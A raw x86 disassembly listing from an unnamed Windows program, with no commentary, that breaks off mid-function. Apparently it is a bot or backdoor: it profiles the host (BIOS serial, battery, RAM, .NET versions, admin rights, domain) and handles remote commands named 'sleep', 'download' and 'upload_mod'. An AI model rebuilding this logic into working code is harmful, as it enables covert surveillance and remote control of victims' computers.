add esp, 0x24
push eax
mov ecx, str.MBModel2_
lea edi, [esp + 0xc08]
mov byte [esp + 0x3e74], 0xe4
call fcn.0042f190
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0xbd0]
mov byte [esp + 0x3e74], 0xe5
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xe6
call fcn.0042d1c0
lea ecx, [esp + 0xbcc]
call fcn.0042b520
lea ecx, [esp + 0xc04]
call fcn.0042b520
lea ecx, [esp + 0xc3c]
call fcn.0042b520
lea ecx, [esp + 0xc74]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.DeviceID
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e90], 0xe7
mov ebx, esp
mov dword [esp + 0x34], esp
push str.Win32_Battery
call fcn.00408280
mov bl, 0xa4
mov byte [esp + 0x3e90], bl
lea ecx, [esp + 0xd74]
call fcn.00409310
push eax
lea esi, [esp + 0xd40]
mov byte [esp + 0x3e94], 0xe8
call fcn.00402ae0
add esp, 0x24
push eax
mov ecx, str.battname_
lea edi, [esp + 0xce8]
mov byte [esp + 0x3e74], 0xe9
call fcn.0042f190
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0xcb0]
mov byte [esp + 0x3e74], 0xea
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xeb
call fcn.0042d1c0
lea ecx, [esp + 0xcac]
call fcn.0042b520
lea ecx, [esp + 0xce4]
call fcn.0042b520
lea ecx, [esp + 0xd1c]
call fcn.0042b520
lea ecx, [esp + 0xd54]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.EstimatedRunTime
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e90], 0xec
mov ebx, esp
mov dword [esp + 0x34], esp
push str.Win32_Battery
call fcn.00408280
lea ecx, [esp + 0xefc]
mov byte [esp + 0x3e90], 0xa4
call fcn.00409310
add esp, 0x20
push eax
sub esp, 0x1c
mov byte [esp + 0x3e90], 0xed
mov ecx, esp
mov dword [esp + 0x38], esp
push str.EstimatedChargeRemaining
mov esi, 0x45b41c
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e94], 0xee
mov ebx, esp
mov dword [esp + 0x38], esp
push str.Win32_Battery
call fcn.00408280
lea ecx, [esp + 0xec8]
mov byte [esp + 0x3e94], 0xed
call fcn.00409310
mov ebx, esi
push eax
lea esi, [esp + 0xe94]
mov byte [esp + 0x3e98], 0xef
call fcn.0042f490
add esp, 0x24
mov byte [esp + 0x3e74], 0xf0
push eax
lea edi, [esp + 0xe3c]
call fcn.0042f920
push eax
lea esi, [esp + 0xe08]
mov byte [esp + 0x3e7c], 0xf1
call fcn.00402ae0
add esp, 0xc
push eax
mov ecx, str.batttime_
lea edi, [esp + 0xdc8]
mov byte [esp + 0x3e74], 0xf2
call fcn.0042f190
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0xd90]
mov byte [esp + 0x3e74], 0xf3
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xf4
call fcn.0042d1c0
lea ecx, [esp + 0xd8c]
call fcn.0042b520
lea ecx, [esp + 0xdc4]
call fcn.0042b520
lea ecx, [esp + 0xdfc]
call fcn.0042b520
lea ecx, [esp + 0xe34]
call fcn.0042bc90
lea ecx, [esp + 0xe6c]
call fcn.0042bc90
lea ecx, [esp + 0xea4]
call fcn.0042bc90
lea ecx, [esp + 0xedc]
mov byte [esp + 0x3e70], 0xa4
call fcn.0042bc90
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.SerialNumber
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e90], 0xf5
mov ebx, esp
mov dword [esp + 0x34], esp
push str.Win32_BIOS
call fcn.00408280
mov bl, 0xa4
lea ecx, [esp + 0xfdc]
mov byte [esp + 0x3e90], bl
call fcn.00409310
push eax
lea esi, [esp + 0xfa8]
mov byte [esp + 0x3e94], 0xf6
call fcn.00402ae0
add esp, 0x24
push eax
mov ecx, str.biossn___
lea edi, [esp + 0xf50]
mov byte [esp + 0x3e74], 0xf7
call fcn.0042f190
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0xf18]
mov byte [esp + 0x3e74], 0xf8
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xf9
call fcn.0042d1c0
lea ecx, [esp + 0xf14]
call fcn.0042b520
lea ecx, [esp + 0xf4c]
call fcn.0042b520
lea ecx, [esp + 0xf84]
call fcn.0042b520
lea ecx, [esp + 0xfbc]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
push 0x467aa0
mov ecx, str.avn______
lea edi, [esp + 0x1030]
call fcn.0042f190
add esp, 4
push eax
mov edi, ebp
lea esi, [esp + 0xff8]
mov byte [esp + 0x3e74], 0xfa
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0xfb
call fcn.0042d1c0
lea ecx, [esp + 0xff4]
call fcn.0042b520
lea ecx, [esp + 0x102c]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.TotalPhysicalMemory
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e90], 0xfc
mov ebx, esp
mov dword [esp + 0x34], esp
push str.Win32_ComputerSystem
call fcn.00408280
lea ecx, [esp + 0x1bc8]
mov byte [esp + 0x3e90], 0xa4
call fcn.00409310
add esp, 0x20
mov byte [esp + 0x3e70], 0xfd
mov eax, dword [esp + 0x1bbc]
cmp eax, 0xa
jae 0x4246e6
mov ebx, 7
cmp eax, ebx
jb 0x4247c0
lea edx, [esp + 0x1ba8]
push edx
lea ecx, [eax - 6]
xor edx, edx
lea esi, [esp + 0x10a0]
call fcn.0042bd20
push eax
mov ebx, 0x45c5cc
lea esi, [esp + 0x1068]
mov byte [esp + 0x3e74], 0xfe
call fcn.0042f490
add esp, 4
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x1bb0]
mov byte [esp + 0x3e78], 0xff
call fcn.0042c6a0
mov ecx, esi
call fcn.0042bc90
mov byte [esp + 0x3e70], 0xfd
lea ecx, [esp + 0x109c]
jmp 0x4247b6
cmp eax, 0xc
ja 0x42474c
lea ecx, [eax - 9]
lea eax, [esp + 0x1ba8]
push eax
xor edx, edx
lea esi, [esp + 0x1110]
call fcn.0042bd20
push eax
mov ebx, 0x45c5d4
lea esi, [esp + 0x10d8]
mov dword [esp + 0x3e74], 0x100
call fcn.0042f490
add esp, 4
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x1bb0]
mov byte [esp + 0x3e78], 1
call fcn.0042c6a0
mov ecx, esi
call fcn.0042bc90
lea ecx, [esp + 0x110c]
jmp 0x4247ab
lea edx, [esp + 0x1ba8]
push edx
lea ecx, [eax - 0xb]
xor edx, edx
lea esi, [esp + 0x1180]
call fcn.0042bd20
push eax
mov ebx, 0x45c5dc
lea esi, [esp + 0x1148]
mov dword [esp + 0x3e74], 0x102
call fcn.0042f490
add esp, 4
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x1bb0]
mov byte [esp + 0x3e78], 3
call fcn.0042c6a0
mov ecx, esi
call fcn.0042bc90
lea ecx, [esp + 0x117c]
mov dword [esp + 0x3e70], 0xfd
call fcn.0042bc90
mov ebx, 7
lea eax, [esp + 0x1ba8]
push eax
lea esi, [esp + 0x1228]
call fcn.00402ae0
add esp, 4
push eax
mov ecx, str.ram______
lea edi, [esp + 0x11f0]
mov dword [esp + 0x3e74], 0x104
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [esp + 0x11b8]
mov byte [esp + 0x3e74], 5
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 6
call fcn.0042d1c0
lea ecx, [esp + 0x11b4]
call fcn.0042b520
lea ecx, [esp + 0x11ec]
call fcn.0042b520
lea ecx, [esp + 0x1224]
mov dword [esp + 0x3e70], 0xfd
call fcn.0042b520
push 0x45b404
lea ecx, [esp + 0x1b04]
call fcn.0042b4b0
sub esp, 0x1c
mov dword [esp + 0x3e8c], 0x107
mov eax, str.Install
mov ecx, esp
mov esi, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 8
mov eax, str.SoftwareMicrosoftNET_Framework_SetupNDP_v1.1.4322
mov ecx, esp
mov dword [esp + 0x4c], esp
call fcn.0042bc20
mov ecx, esi
mov byte [esp + 0x3ea8], bl
call fcn.0041e1b0
add esp, 0x38
cmp eax, 1
jne 0x4248f6
mov ecx, 0x45b404
lea edi, [esp + 0x1b00]
call fcn.0042fa10
test al, al
je 0x4248e4
mov ecx, edi
push ecx
mov edx, 0x45d3a4
call fcn.0042b560
lea edx, [esp + 0x1b00]
push edx
mov edx, 0x45d3a8
call fcn.0042b560
sub esp, 0x1c
mov eax, str.Install
mov ecx, esp
mov esi, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 9
mov eax, str.SoftwareMicrosoftNET_Framework_SetupNDP_v2.0.50727
mov ecx, esp
mov dword [esp + 0x4c], esp
call fcn.0042bc20
mov ecx, esi
mov byte [esp + 0x3ea8], bl
call fcn.0041e1b0
add esp, 0x38
cmp eax, 1
jne 0x424973
mov ecx, 0x45b404
lea edi, [esp + 0x1b00]
call fcn.0042fa10
test al, al
je 0x424961
mov eax, edi
push eax
mov edx, 0x45d3a4
call fcn.0042b560
lea ecx, [esp + 0x1b00]
push ecx
mov edx, 0x45d41c
call fcn.0042b560
sub esp, 0x1c
mov eax, str.Install
mov ecx, esp
mov esi, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0xa
mov eax, 0x45d420
mov ecx, esp
mov dword [esp + 0x4c], esp
call fcn.0042bc20
mov ecx, esi
mov byte [esp + 0x3ea8], bl
call fcn.0041e1b0
add esp, 0x38
cmp eax, 1
jne 0x4249f0
mov ecx, 0x45b404
lea edi, [esp + 0x1b00]
call fcn.0042fa10
test al, al
je 0x4249de
mov edx, edi
push edx
mov edx, 0x45d3a4
call fcn.0042b560
lea eax, [esp + 0x1b00]
push eax
mov edx, 0x45d480
call fcn.0042b560
sub esp, 0x1c
mov eax, str.Install
mov ecx, esp
mov esi, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0xb
mov eax, str.SoftwareMicrosoftNET_Framework_SetupNDP_v3.5
mov ecx, esp
mov dword [esp + 0x4c], esp
call fcn.0042bc20
mov ecx, esi
mov byte [esp + 0x3ea8], bl
call fcn.0041e1b0
add esp, 0x38
cmp eax, 1
jne 0x424a6d
mov ecx, 0x45b404
lea edi, [esp + 0x1b00]
call fcn.0042fa10
test al, al
je 0x424a5b
mov ecx, edi
push ecx
mov edx, 0x45d3a4
call fcn.0042b560
lea edx, [esp + 0x1b00]
push edx
mov edx, 0x45d4e8
call fcn.0042b560
sub esp, 0x1c
mov eax, str.Install
mov ecx, esp
mov esi, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0xc
mov eax, str.SoftwareMicrosoftNET_Framework_SetupNDP_v4Full
mov ecx, esp
mov dword [esp + 0x4c], esp
call fcn.0042bc20
mov ecx, esi
mov byte [esp + 0x3ea8], bl
call fcn.0041e1b0
add esp, 0x38
cmp eax, 1
jne 0x424aea
mov ecx, 0x45b404
lea edi, [esp + 0x1b00]
call fcn.0042fa10
test al, al
je 0x424ad8
mov eax, edi
push eax
mov edx, 0x45d3a4
call fcn.0042b560
lea ecx, [esp + 0x1b00]
push ecx
mov edx, str.4.0F
call fcn.0042b560
sub esp, 0x1c
mov eax, str.Install
mov ecx, esp
mov esi, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0xd
mov eax, str.SoftwareMicrosoftNET_Framework_SetupNDP_v4Client
mov ecx, esp
mov dword [esp + 0x4c], esp
call fcn.0042bc20
mov ecx, esi
mov byte [esp + 0x3ea8], bl
call fcn.0041e1b0
add esp, 0x38
cmp eax, 1
jne 0x424b67
mov ecx, 0x45b404
lea edi, [esp + 0x1b00]
call fcn.0042fa10
test al, al
je 0x424b55
mov edx, edi
push edx
mov edx, 0x45d3a4
call fcn.0042b560
lea eax, [esp + 0x1b00]
push eax
mov edx, str.4.0C
call fcn.0042b560
sub esp, 0x1c
mov eax, str.Release
mov ecx, esp
mov esi, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0xe
mov eax, str.SoftwareMicrosoftNET_Framework_SetupNDP_v4Full
mov ecx, esp
mov dword [esp + 0x4c], esp
call fcn.0042bc20
mov ecx, esi
mov byte [esp + 0x3ea8], bl
call fcn.0041e1b0
add esp, 0x38
cmp eax, 0x5c615
jne 0x424be6
mov ecx, 0x45b404
lea edi, [esp + 0x1b00]
call fcn.0042fa10
test al, al
je 0x424bd4
mov ecx, edi
push ecx
mov edx, 0x45d3a4
call fcn.0042b560
lea edx, [esp + 0x1b00]
push edx
mov edx, 0x45d5e4
call fcn.0042b560
sub esp, 0x1c
mov eax, str.Release
mov ecx, esp
mov esi, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0xf
mov eax, str.SoftwareMicrosoftNET_Framework_SetupNDP_v4Full
mov ecx, esp
mov dword [esp + 0x4c], esp
call fcn.0042bc20
mov ecx, esi
mov byte [esp + 0x3ea8], bl
call fcn.0041e1b0
add esp, 0x38
cmp eax, 0x5c733
jne 0x424c65
mov ecx, 0x45b404
lea edi, [esp + 0x1b00]
call fcn.0042fa10
test al, al
je 0x424c53
mov eax, edi
push eax
mov edx, 0x45d3a4
call fcn.0042b560
lea ecx, [esp + 0x1b00]
push ecx
mov edx, str.4.5.1_WinBlue
call fcn.0042b560
sub esp, 0x1c
mov eax, str.Release
mov ecx, esp
mov esi, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x34], esp
call fcn.0042bc20
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x10
mov eax, str.SoftwareMicrosoftNET_Framework_SetupNDP_v4Full
mov ecx, esp
mov dword [esp + 0x4c], esp
call fcn.0042bc20
mov ecx, esi
mov byte [esp + 0x3ea8], bl
call fcn.0041e1b0
add esp, 0x38
cmp eax, 0x5c786
jne 0x424ce4
mov ecx, 0x45b404
lea edi, [esp + 0x1b00]
call fcn.0042fa10
test al, al
je 0x424cd2
mov edx, edi
push edx
mov edx, 0x45d3a4
call fcn.0042b560
lea eax, [esp + 0x1b00]
push eax
mov edx, str.4.5.1
call fcn.0042b560
lea ecx, [esp + 0x1b00]
push ecx
mov ecx, str.dotnet___
lea edi, [esp + 0x1298]
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [esp + 0x1260]
mov byte [esp + 0x3e74], 0x11
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0x12
call fcn.0042d1c0
lea ecx, [esp + 0x125c]
call fcn.0042b520
lea ecx, [esp + 0x1294]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
push 0x45b410
lea ecx, [esp + 0x1d18]
call fcn.0042b4b0
mov bl, 0x13
mov byte [esp + 0x3e70], bl
call fcn.00407c80
test al, al
je 0x424d8a
push 0x45bb60
lea ecx, [esp + 0x1d18]
call fcn.0042bff0
lea edx, [esp + 0x1d14]
push edx
mov ecx, str.is_admin_
lea edi, [esp + 0x1308]
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [esp + 0x12d0]
mov byte [esp + 0x3e74], 0x14
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0x15
call fcn.0042d1c0
lea ecx, [esp + 0x12cc]
call fcn.0042b520
lea ecx, [esp + 0x1304]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.ReleaseDate
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e90], 0x16
mov ebx, esp
mov dword [esp + 0x34], esp
push str.Win32_BIOS
call fcn.00408280
lea ecx, [esp + 0x135c]
mov byte [esp + 0x3e90], 0x13
call fcn.00409310
push eax
lea esi, [esp + 0x1c20]
mov byte [esp + 0x3e94], 0x17
call fcn.00402ae0
add esp, 0x24
mov bl, 0x19
lea ecx, [esp + 0x133c]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
cmp dword [esp + 0x1c10], 0xa
jbe 0x42501b
push 4
xor ecx, ecx
lea esi, [esp + 0x14c8]
lea edx, [esp + 0x1c00]
call fcn.0042b6b0
mov ebp, eax
push 2
mov ecx, 4
lea esi, [esp + 0x1490]
lea edx, [esp + 0x1c00]
mov byte [esp + 0x3e74], 0x1a
call fcn.0042b6b0
mov dword [esp + 0x24], eax
push 2
mov ecx, 6
lea esi, [esp + 0x1458]
lea edx, [esp + 0x1c00]
mov byte [esp + 0x3e74], 0x1b
call fcn.0042b6b0
push eax
mov edi, 0x45b98c
lea esi, [esp + 0x1420]
mov byte [esp + 0x3e74], 0x1c
call fcn.0042f240
add esp, 4
mov byte [esp + 0x3e70], 0x1d
mov ecx, dword [esp + 0x24]
push ecx
push eax
lea edi, [esp + 0x13ec]
call fcn.0042f780
push eax
mov edi, 0x45b98c
lea esi, [esp + 0x13b8]
mov byte [esp + 0x3e7c], 0x1e
call fcn.0042f240
add esp, 0xc
push ebp
push eax
lea edi, [esp + 0x137c]
mov byte [esp + 0x3e78], 0x1f
call fcn.0042f780
add esp, 8
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x1c08]
mov byte [esp + 0x3e7c], 0x20
call fcn.0042bf10
mov ecx, edi
call fcn.0042b520
mov ecx, esi
call fcn.0042b520
lea ecx, [esp + 0x13e4]
call fcn.0042b520
lea ecx, [esp + 0x141c]
call fcn.0042b520
lea ecx, [esp + 0x1454]
call fcn.0042b520
lea ecx, [esp + 0x148c]
call fcn.0042b520
lea ecx, [esp + 0x14c4]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
lea edx, [esp + 0x1bfc]
push edx
mov ecx, str.biosdate_
lea edi, [esp + 0x1538]
call fcn.0042f190
add esp, 4
mov byte [esp + 0x3e70], 0x21
push eax
mov edi, 0x45b520
lea esi, [esp + 0x1500]
call fcn.0042f240
add esp, 4
lea esi, [esp + 0x1b1c]
mov byte [esp + 0x3e70], 0x22
call fcn.0042b550
lea ecx, [esp + 0x14fc]
call fcn.0042b520
lea ecx, [esp + 0x1534]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x2e68]
push ecx
push 2
mov dword [esp + 0x44], 0x800
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
lea eax, [esp + 0x2e64]
lea ecx, [esp + 0x1614]
call fcn.0042bc20
push eax
lea esi, [esp + 0x15e0]
mov byte [esp + 0x3e74], 0x23
call fcn.00402ae0
add esp, 4
push eax
mov ecx, str.domain___
lea edi, [esp + 0x15a8]
mov byte [esp + 0x3e74], 0x24
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [esp + 0x1570]
mov byte [esp + 0x3e74], 0x25
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0x26
call fcn.0042d1c0
lea ecx, [esp + 0x156c]
call fcn.0042b520
lea ecx, [esp + 0x15a4]
call fcn.0042b520
lea ecx, [esp + 0x15dc]
call fcn.0042b520
lea ecx, [esp + 0x1614]
mov byte [esp + 0x3e70], bl
call fcn.0042bc90
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42510e
push 0x400
lea edx, [esp + 0x2268]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x2264]
push eax
lea ecx, [esp + 0x16c0]
call fcn.0042b4b0
push eax
mov ecx, str.myName___
lea edi, [esp + 0x1688]
mov byte [esp + 0x3e74], 0x27
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [esp + 0x1650]
mov byte [esp + 0x3e74], 0x28
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0x29
call fcn.0042d1c0
lea ecx, [esp + 0x164c]
call fcn.0042b520
lea ecx, [esp + 0x1684]
call fcn.0042b520
lea ecx, [esp + 0x16bc]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
mov ecx, dword [esp + 0x20]
add ecx, 0xc4
push ecx
mov ecx, str.dstrb_id_
lea edi, [esp + 0x1730]
call fcn.0042f190
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [esp + 0x16f8]
mov byte [esp + 0x3e74], 0x2a
call fcn.0042f240
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x1b24]
mov byte [esp + 0x3e78], 0x2b
call fcn.0042d1c0
lea ecx, [esp + 0x16f4]
call fcn.0042b520
lea ecx, [esp + 0x172c]
mov byte [esp + 0x3e70], bl
call fcn.0042b520
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x467b10
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x2c
mov ecx, esp
mov dword [esp + 0x4c], esp
push 0x467af4
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x2d
mov ecx, esp
mov dword [esp + 0x70], esp
push str.divsig_ainfo.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x2e
mov ecx, esp
mov edx, esi
mov dword [esp + 0x94], esp
push edx
call fcn.0042b4f0
lea edi, [esp + 0x17d4]
mov byte [esp + 0x3ee0], bl
call fcn.004107a0
add esp, 0x70
mov ecx, edi
call fcn.0042b520
lea ecx, [esp + 0x1bfc]
call fcn.0042b520
lea ecx, [esp + 0x1d14]
call fcn.0042b520
lea ecx, [esp + 0x1b00]
mov dword [esp + 0x3e70], 0xfd
call fcn.0042b520
lea ecx, [esp + 0x1ba8]
call fcn.0042bc90
mov ecx, esi
mov byte [esp + 0x3e70], 4
call fcn.0042b520
mov ebp, dword [esp + 0x20]
mov ecx, str.sleep
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x425345
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
call fcn.0042f0d0
test al, al
je 0x42531c
push str.1000
mov ecx, edi
call fcn.0042bff0
cmp dword [esp + 0x1aa8], 0x10
mov eax, dword [esp + 0x1a94]
jae 0x425334
lea eax, [esp + 0x1a94]
push eax
call fcn.00435329
add esp, 4
push eax
mov esi, ebp
call fcn.00420280
mov ecx, str.gone5
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42539e
push str.300000
lea ecx, [esp + 0x1a94]
call fcn.0042bff0
cmp dword [esp + 0x1aa8], 0x10
mov eax, dword [esp + 0x1a94]
jae 0x425383
lea eax, [esp + 0x1a94]
push eax
call fcn.00435329
add esp, 4
push eax
mov esi, ebp
call fcn.00420280
mov dword [ebp + 0x3ec], 0x132
mov ecx, str.download
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x425667
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
call fcn.0042f0d0
test al, al
jne 0x425667
mov eax, edi
push eax
lea ecx, [esp + 0x1d34]
call fcn.0042b4f0
push 1
xor ecx, ecx
lea esi, [esp + 0x17d8]
mov edx, edi
mov dword [esp + 0x3e74], 0x12f
call fcn.0042b6b0
mov byte [esp + 0x3e70], 0x30
mov ecx, 0x45bb08
mov edi, eax
mov dword [esp + 0x28], 1
call fcn.0042fa10
test al, al
je 0x425471
push 1
xor ecx, ecx
lea esi, [esp + 0x17a0]
lea edx, [esp + 0x1a94]
call fcn.0042b6b0
mov dword [esp + 0x3e70], 0x131
mov ecx, 0x45b994
mov edi, eax
mov dword [esp + 0x28], 3
call fcn.0042fa10
test al, al
je 0x425471
lea ecx, [esp + 0x1a90]
push ecx
mov edx, 0x45bc24
call fcn.0042b690
cmp eax, 0xffffffff
jne 0x425471
mov bl, 1
jmp 0x425473
xor bl, bl
test byte [esp + 0x28], 2
je 0x42548b
and dword [esp + 0x28], 0xfffffffd
lea ecx, [esp + 0x179c]
call fcn.0042b520
mov dword [esp + 0x3e70], 0x12f
test byte [esp + 0x28], 1
je 0x4254ae
and dword [esp + 0x28], 0xfffffffe
lea ecx, [esp + 0x17d4]
call fcn.0042b520
test bl, bl
je 0x42559a
lea edx, [ebp + 0x430]
push edx
mov edi, 0x45bb08
lea esi, [esp + 0x1848]
call fcn.0042f240
add esp, 4
lea ecx, [esp + 0x1a90]
push ecx
push eax
lea edi, [esp + 0x1814]
mov byte [esp + 0x3e78], 0x32
call fcn.0042f780
add esp, 8
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x1a9c]
mov byte [esp + 0x3e7c], 0x33
call fcn.0042bf10
mov ecx, edi
call fcn.0042b520
mov ecx, esi
mov byte [esp + 0x3e70], 0x2f
call fcn.0042b520
lea edx, [esp + 0x1ae4]
push edx
mov ecx, 0x45d694
lea edi, [esp + 0x1880]
call fcn.0042f190
add esp, 4
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x1d3c]
mov byte [esp + 0x3e7c], 0x34
call fcn.0042bf10
mov ecx, edi
mov byte [esp + 0x3e70], 0x2f
call fcn.0042b520
xor edi, edi
cmp dword [esp + 0x1aa4], edi
je 0x42559a
nop
lea eax, [esp + 0x1a90]
call fcn.0042b630
cmp byte [eax], 0x2f
jne 0x425590
lea eax, [esp + 0x1a90]
call fcn.0042b630
mov byte [eax], 0x5c
inc edi
cmp edi, dword [esp + 0x1aa4]
jne 0x425570
cmp dword [esp + 0x1aa8], 0x10
mov eax, dword [esp + 0x1a94]
jae 0x4255b2
lea eax, [esp + 0x1a94]
call fcn.00403a10
test al, al
je 0x425650
sub esp, 0x1c
lea eax, [esp + 0x1d4c]
mov ecx, esp
mov dword [esp + 0x34], esp
push eax
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x35
mov ecx, esp
mov dword [esp + 0x4c], esp
push 0x467b10
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x36
mov ecx, esp
mov dword [esp + 0x70], esp
push 0x467af4
call fcn.0042b4f0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x37
lea edx, [esp + 0x1b00]
mov ecx, esp
mov dword [esp + 0x94], esp
push edx
call fcn.0042b4f0
lea eax, [esp + 0x1924]
push eax
mov byte [esp + 0x3ee4], 0x2f
call fcn.00410910
add esp, 0x74
lea ecx, [esp + 0x18b4]
call fcn.0042b520
lea ecx, [esp + 0x1d30]
mov dword [esp + 0x3e70], 4
call fcn.0042b520
mov ecx, str.upload_mod
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x425bb6
mov ecx, 0x45b404
lea edi, [esp + 0x1a90]
call fcn.0042f0d0
test al, al
jne 0x425bb6
mov ecx, edi
push ecx
lea ecx, [esp + 0x1c70]
call fcn.0042b4f0
mov ebp, 0x138
push 1
xor ecx, ecx
lea esi, [esp + 0x1928]
mov edx, edi
mov dword [esp + 0x3e74], ebp
call fcn.0042b6b0
mov byte [esp + 0x3e70], 0x39
or dword [esp + 0x28], 4
mov ecx, 0x45bb08
mov edi, eax
call fcn.0042f0d0
test al, al
jne 0x425735
push 1
xor ecx, ecx
lea esi, [esp + 0x18f0]
lea edx, [esp + 0x1a94]
call fcn.0042b6b0
mov dword [esp + 0x3e70], 0x13a
or dword [esp + 0x28], 8
mov ecx, 0x45b994
mov edi, eax
call fcn.0042fa10
test al, al
je 0x425735
lea edx, [esp + 0x1a90]
push edx
mov edx, 0x45bc24
call fcn.0042b690
cmp eax, 0xffffffff
jne 0x425735
mov bl, 1
jmp 0x425737
xor bl, bl
test byte [esp + 0x28], 8
je 0x42574f
and dword [esp + 0x28], 0xfffffff7
lea ecx, [esp + 0x18ec]
call fcn.0042b520
mov dword [esp + 0x3e70], ebp
test byte [esp + 0x28], 4
je 0x42576e
and dword [esp + 0x28], 0xfffffffb
lea ecx, [esp + 0x1924]
call fcn.0042b520
test bl, bl
je 0x42581c
mov eax, dword [esp + 0x20]
add eax, 0x430
push eax
mov edi, 0x45bb08
lea esi, [esp + 0x1998]
call fcn.0042f240
add esp, 4
lea ecx, [esp + 0x1a90]
push ecx
push eax
